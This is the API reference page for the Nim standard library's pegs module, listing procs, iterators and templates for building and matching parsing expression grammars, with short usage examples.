[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L31) Procs ----- ``` proc kind(p: Peg): PegKind {...}{.raises: [], tags: [].} ``` Returns the *PegKind* of a given *Peg* object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L89) ``` proc term(p: Peg): string {...}{.raises: [], tags: [].} ``` Returns the *string* representation of a given *Peg* variant object where present. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L92) ``` proc ch(p: Peg): char {...}{.raises: [], tags: [].} ``` Returns the *char* representation of a given *Peg* variant object where present. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L96) ``` proc charChoice(p: Peg): ref set[char] {...}{.raises: [], tags: [].} ``` Returns the *charChoice* field of a given *Peg* variant object where present. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L100) ``` proc nt(p: Peg): NonTerminal {...}{.raises: [], tags: [].} ``` Returns the *NonTerminal* object of a given *Peg* variant object where present. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L104) ``` proc index(p: Peg): range[0 .. MaxSubpatterns] {...}{.raises: [], tags: [].} ``` Returns the back-reference index of a captured sub-pattern in the *Captures* object for a given *Peg* variant object where present. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L108) ``` proc name(nt: NonTerminal): string {...}{.raises: [], tags: [].} ``` Gets the name of the symbol represented by the parent *Peg* object variant of a given *NonTerminal*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L122) ``` proc line(nt: NonTerminal): int {...}{.raises: [], tags: [].} ``` Gets the line number of the definition of the parent *Peg* object variant of a given *NonTerminal*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L126) ``` proc col(nt: NonTerminal): int {...}{.raises: [], tags: [].} ``` Gets the column number of the definition of the parent *Peg* object variant of a given *NonTerminal*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L130) ``` proc flags(nt: NonTerminal): set[NonTerminalFlag] {...}{.raises: [], tags: [].} ``` Gets the *NonTerminalFlag*-typed flags field of the parent *Peg* variant object of a given *NonTerminal*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L134) ``` proc rule(nt: NonTerminal): Peg {...}{.raises: [], tags: [].} ``` Gets the *Peg* object representing the rule definition of the parent *Peg* object variant of a given *NonTerminal*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L138) ``` proc term(t: string): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1Str", raises: [], tags: [].} ``` constructs a PEG from a terminal string [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L142) ``` proc termIgnoreCase(t: string): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` constructs a PEG from a terminal string; ignore case for matching [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L149) ``` proc termIgnoreStyle(t: string): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` constructs a PEG from a terminal string; ignore style for matching [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L154) ``` proc term(t: char): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1Char", raises: [], tags: [].} ``` constructs a PEG from a terminal char [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L159) ``` proc charSet(s: set[char]): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` constructs a PEG from a character set `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L164) ``` proc `/`(a: varargs[Peg]): Peg {...}{.noSideEffect, gcsafe, extern: "npegsOrderedChoice", raises: [], tags: [].} ``` constructs an ordered choice with the PEGs in `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L197) ``` proc sequence(a: varargs[Peg]): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` constructs a sequence with all the PEGs from `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L214) ``` proc `?`(a: Peg): Peg {...}{.noSideEffect, gcsafe, extern: "npegsOptional", raises: [], tags: [].} ``` constructs an optional for the PEG `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L219) ``` proc `*`(a: Peg): Peg {...}{.noSideEffect, gcsafe, extern: "npegsGreedyRep", raises: [], tags: [].} ``` constructs a "greedy repetition" for the PEG `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L229) ``` proc `!*`(a: Peg): Peg {...}{.noSideEffect, gcsafe, extern: "npegsSearch", raises: [], tags: [].} ``` constructs a "search" for the PEG `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L244) ``` proc `!*\`(a: Peg): Peg {...}{.noSideEffect, gcsafe, extern: "npgegsCapturedSearch", raises: [], tags: [].} ``` constructs a "captured search" for the PEG `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L248) ``` proc `+`(a: Peg): Peg {...}{.noSideEffect, gcsafe, extern: "npegsGreedyPosRep", raises: [], tags: [].} ``` constructs a "greedy positive repetition" with the PEG `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L253) ``` proc `&`(a: Peg): Peg {...}{.noSideEffect, gcsafe, extern: "npegsAndPredicate", raises: [], tags: [].} ``` constructs an "and predicate" with the PEG `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L257) ``` proc `!`(a: Peg): Peg {...}{.noSideEffect, gcsafe, extern: "npegsNotPredicate", raises: [], tags: [].} ``` constructs a "not predicate" with the PEG `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L261) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L261) ``` proc any(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG any character (`.`) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L265) ``` proc anyRune(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG any rune (`_`) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L269) ``` proc newLine(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG newline (`\n`) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L273) ``` proc unicodeLetter(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG `\letter` which matches any Unicode letter. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L277) ``` proc unicodeLower(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG `\lower` which matches any Unicode lowercase letter. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L281) ``` proc unicodeUpper(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG `\upper` which matches any Unicode uppercase letter. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L285) ``` proc unicodeTitle(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG `\title` which matches any Unicode title letter. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L289) ``` proc unicodeWhitespace(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG `\white` which matches any Unicode whitespace character. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L293) ``` proc startAnchor(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG `^` which matches the start of the input. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L298) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L298) ``` proc endAnchor(): Peg {...}{.inline, raises: [], tags: [].} ``` constructs the PEG `$` which matches the end of the input. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L302) ``` proc capture(a: Peg): Peg {...}{.noSideEffect, gcsafe, extern: "npegsCapture", raises: [], tags: [].} ``` constructs a capture with the PEG `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L306) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L306) ``` proc backref(index: range[1 .. MaxSubpatterns]): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` constructs a back reference of the given `index`. `index` starts counting from 1. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L310) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L310) ``` proc backrefIgnoreCase(index: range[1 .. MaxSubpatterns]): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` constructs a back reference of the given `index`. `index` starts counting from 1. Ignores case for matching. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L316) ``` proc backrefIgnoreStyle(index: range[1 .. MaxSubpatterns]): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` constructs a back reference of the given `index`. `index` starts counting from 1. Ignores style for matching. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L322) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L322) ``` proc nonterminal(n: NonTerminal): Peg {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` constructs a PEG that consists of the nonterminal symbol [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L343) ``` proc newNonTerminal(name: string; line, column: int): NonTerminal {...}{. noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` constructs a nonterminal symbol [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L353) ``` proc `$`(r: Peg): string {...}{.noSideEffect, gcsafe, extern: "npegsToString", raises: [], tags: [].} ``` converts a PEG to its string representation [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L521) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L521) ``` proc bounds(c: Captures; i: range[0 .. 20 - 1]): tuple[first, last: int] {...}{. raises: [], tags: [].} ``` returns the bounds `[first..last]` of the `i`'th capture. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L534) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L534) ``` proc rawMatch(s: string; p: Peg; start: int; c: var Captures): int {...}{. noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` low-level matching proc that implements the PEG interpreter. Use this for maximum efficiency (every other PEG operation ends up calling this proc). Returns -1 if it does not match, else the length of the match [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L853) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L853) ``` proc matchLen(s: string; pattern: Peg; matches: var openArray[string]; start = 0): int {...}{. noSideEffect, gcsafe, extern: "npegs$1Capture", raises: [], tags: [].} ``` the same as `match`, but it returns the length of the match, if there is no match, -1 is returned. Note that a match length of zero can happen. It's possible that a suffix of `s` remains that does not belong to the match. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1062) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1062) ``` proc matchLen(s: string; pattern: Peg; start = 0): int {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` the same as `match`, but it returns the length of the match, if there is no match, -1 is returned. Note that a match length of zero can happen. It's possible that a suffix of `s` remains that does not belong to the match. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1073) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1073) ``` proc match(s: string; pattern: Peg; matches: var openArray[string]; start = 0): bool {...}{. noSideEffect, gcsafe, extern: "npegs$1Capture", raises: [], tags: [].} ``` returns `true` if `s[start..]` matches the `pattern` and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and `false` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1083) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1083) ``` proc match(s: string; pattern: Peg; start = 0): bool {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` returns `true` if `s` matches the `pattern` beginning from `start`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1091) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1091) ``` proc find(s: string; pattern: Peg; matches: var openArray[string]; start = 0): int {...}{. noSideEffect, gcsafe, extern: "npegs$1Capture", raises: [], tags: [].} ``` returns the starting position of `pattern` in `s` and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and -1 is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1097) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1097) ``` proc findBounds(s: string; pattern: Peg; matches: var openArray[string]; start = 0): tuple[first, last: int] {...}{.noSideEffect, gcsafe, extern: "npegs$1Capture", raises: [], tags: [].} ``` returns the starting position and end position of `pattern` in `s` and the captured substrings in the array `matches`. If it does not match, nothing is written into `matches` and (-1,0) is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1112) ``` proc find(s: string; pattern: Peg; start = 0): int {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` returns the starting position of `pattern` in `s`. If it does not match, -1 is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1129) ``` proc findAll(s: string; pattern: Peg; start = 0): seq[string] {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` returns all matching *substrings* of `s` that match `pattern`. If it does not match, @[] is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1153) ``` proc contains(s: string; pattern: Peg; start = 0): bool {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` same as `find(s, pattern, start) >= 0` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1188) ``` proc contains(s: string; pattern: Peg; matches: var openArray[string]; start = 0): bool {...}{. noSideEffect, gcsafe, extern: "npegs$1Capture", raises: [], tags: [].} ``` same as `find(s, pattern, matches, start) >= 0` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1193) ``` proc startsWith(s: string; prefix: Peg; start = 0): bool {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` returns true if `s` starts with the pattern `prefix` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1198) ``` proc endsWith(s: string; suffix: Peg; start = 0): bool {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` returns true if `s` ends with the pattern `suffix` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1203) ``` proc replacef(s: string; sub: Peg; by: string): string {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [ValueError], tags: [].} ``` Replaces `sub` in `s` by the string `by`. Captures can be accessed in `by` with the notation `$i` and `$#` (see strutils.`%`). Examples: ``` "var1=key; var2=key2".replacef(peg"{\ident}'='{\ident}", "$1<-$2$2") ``` Results in: ``` "var1<-keykey; val2<-key2key2" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1211) ``` proc replace(s: string; sub: Peg; by = ""): string {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` Replaces `sub` in `s` by the string `by`. Captures cannot be accessed in `by`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1240) ``` proc parallelReplace(s: string; subs: varargs[tuple[pattern: Peg, repl: string]]): string {...}{. noSideEffect, gcsafe, extern: "npegs$1", raises: [ValueError], tags: [].} ``` Returns a modified copy of `s` with the substitutions in `subs` applied in parallel. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1257) ``` proc replace(s: string; sub: Peg; cb: proc (match: int; cnt: int; caps: openArray[string]): string): string {...}{. gcsafe, extern: "npegs$1cb", raises: [], tags: [].} ``` Replaces `sub` in `s` by the resulting strings from the callback. The callback proc receives the index of the current match (starting with 0), the count of captures and an open array with the captures of each match. Examples: ``` proc handleMatches*(m: int, n: int, c: openArray[string]): string = result = "" if m > 0: result.add ", " result.add case n: of 2: c[0].toLower & ": '" & c[1] & "'" of 1: c[0].toLower & ": ''" else: "" let s = "Var1=key1;var2=Key2; VAR3" echo s.replace(peg"{\ident}('='{\ident})* ';'* \s*", handleMatches) ``` Results in: ``` "var1: 'key1', var2: 'Key2', var3: ''" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1281) ``` proc transformFile(infile, outfile: string; subs: varargs[tuple[pattern: Peg, repl: string]]) {...}{.gcsafe, extern: "npegs$1", raises: [IOError, ValueError], tags: [ReadIOEffect, WriteIOEffect].} ``` reads in the file `infile`, performs a parallel replacement (calls `parallelReplace`) and writes back to `outfile`. Raises `IOError` if an error occurs. This is supposed to be used for quick scripting. **Note**: this proc does not exist while using the JS backend. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1326) ``` proc split(s: string; sep: Peg): seq[string] {...}{.noSideEffect, gcsafe, extern: "npegs$1", raises: [], tags: [].} ``` Splits the string `s` into substrings. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1373) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1373) ``` proc parsePeg(pattern: string; filename = "pattern"; line = 1; col = 0): Peg {...}{. raises: [ValueError, EInvalidPeg, Exception], tags: [RootEffect].} ``` constructs a Peg object from `pattern`. `filename`, `line`, `col` are used for error messages, but they only provide start offsets. `parsePeg` keeps track of line and column numbers within `pattern`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L2017) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L2017) ``` proc peg(pattern: string): Peg {...}{.raises: [ValueError, EInvalidPeg, Exception], tags: [RootEffect].} ``` constructs a Peg object from the `pattern`. The short name has been chosen to encourage its use as a raw string modifier: ``` peg"{\ident} \s* '=' \s* {.*}" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L2032) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L2032) ``` proc escapePeg(s: string): string {...}{.raises: [], tags: [].} ``` escapes `s` so that it is matched verbatim when used as a peg. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L2039) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L2039) Iterators --------- ``` iterator items(p: Peg): Peg {...}{.inline, raises: [], tags: [].} ``` Yields the child nodes of a *Peg* variant object where present. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L112) ``` iterator pairs(p: Peg): (int, Peg) {...}{.inline, raises: [], tags: [].} ``` Yields the indices and child nodes of a *Peg* variant object where present. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L117) ``` iterator findAll(s: string; pattern: Peg; start = 0): string {...}{.raises: [], tags: [].} ``` yields all matching *substrings* of `s` that match `pattern`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1139) ``` iterator split(s: string; sep: Peg): string {...}{.raises: [], tags: [].} ``` Splits the string `s` into substrings. Substrings are separated by the PEG `sep`. Examples: ``` for word in split("00232this02939is39an22example111", peg"\d+"): writeLine(stdout, word) ``` Results in: ``` "this" "is" "an" "example" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1338) Templates --------- ``` template letters(): Peg ``` expands to `charset({'A'..'Z', 'a'..'z'})` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L358) ``` template digits(): Peg ``` expands to `charset({'0'..'9'})` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L362) ``` template whitespace(): Peg ``` expands to `charset({' ', '\9'..'\13'})` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L366) ``` template identChars(): Peg ``` expands to `charset({'a'..'z', 'A'..'Z', '0'..'9', '_'})` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L370) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L370) ``` template identStartChars(): Peg ``` expands to `charset({'A'..'Z', 'a'..'z', '_'})` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L374) ``` template ident(): Peg ``` same as `[a-zA-Z_][a-zA-z_0-9]*`; standard identifier [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L378) ``` template natural(): Peg ``` same as `\d+` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L383) ``` template eventParser(pegAst, handlers: untyped): (proc (s: string): int) ``` Generates an interpreting event parser *proc* according to the specified PEG AST and handler code blocks. The *proc* can be called with a string to be parsed and will execute the handler code blocks whenever their associated grammar element is matched. It returns -1 if the string does not match, else the length of the total match. The following example code evaluates an arithmetic expression defined by a simple PEG: ``` import strutils, pegs let pegAst = """ Expr <- Sum Sum <- Product (('+' / '-')Product)* Product <- Value (('*' / '/')Value)* Value <- [0-9]+ / '(' Expr ')' """.peg txt = "(5+3)/2-7*22" var pStack: seq[string] = @[] valStack: seq[float] = @[] opStack = "" let parseArithExpr = pegAst.eventParser: pkNonTerminal: enter: pStack.add p.nt.name leave: pStack.setLen pStack.high if length > 0: let matchStr = s.substr(start, start+length-1) case p.nt.name of "Value": try: valStack.add matchStr.parseFloat echo valStack except ValueError: discard of "Sum", "Product": try: let val = matchStr.parseFloat except ValueError: if valStack.len > 1 and opStack.len > 0: valStack[^2] = case opStack[^1] of '+': valStack[^2] + valStack[^1] of '-': valStack[^2] - valStack[^1] of '*': valStack[^2] * valStack[^1] else: valStack[^2] / valStack[^1] valStack.setLen valStack.high echo valStack opStack.setLen opStack.high echo opStack pkChar: leave: if length == 1 and "Value" != pStack[^1]: let matchChar = s[start] opStack.add matchChar echo opStack let pLen = parseArithExpr(txt) ``` The *handlers* parameter consists of code blocks for *PegKinds*, which define the grammar elements of interest. Each block can contain handler code to be executed when the parser enters and leaves text matching the grammar element. An *enter* handler can access the specific PEG AST node being matched as *p*, the entire parsed string as *s* and the position of the matched text segment in *s* as *start*. A *leave* handler can access *p*, *s*, *start* and also the length of the matched text segment as *length*. For an unsuccessful match, the *enter* and *leave* handlers will be executed, with *length* set to -1. Symbols declared in an *enter* handler can be made visible in the corresponding *leave* handler by annotating them with an *inject* pragma. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L934) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L934) ``` template `=~`(s: string; pattern: Peg): bool ``` This calls `match` with an implicit declared `matches` array that can be used in the scope of the `=~` call: ``` if line =~ peg"\s* {\w+} \s* '=' \s* {\w+}": # matches a key=value pair: echo("Key: ", matches[0]) echo("Value: ", matches[1]) elif line =~ peg"\s*{'#'.*}": # matches a comment # note that the implicit ``matches`` array is different from the # ``matches`` array of the first branch echo("comment: ", matches[0]) else: echo("syntax error") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pegs.nim#L1163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pegs.nim#L1163) Exports ------- [==](unicode#==,Rune,Rune)
programming_docs
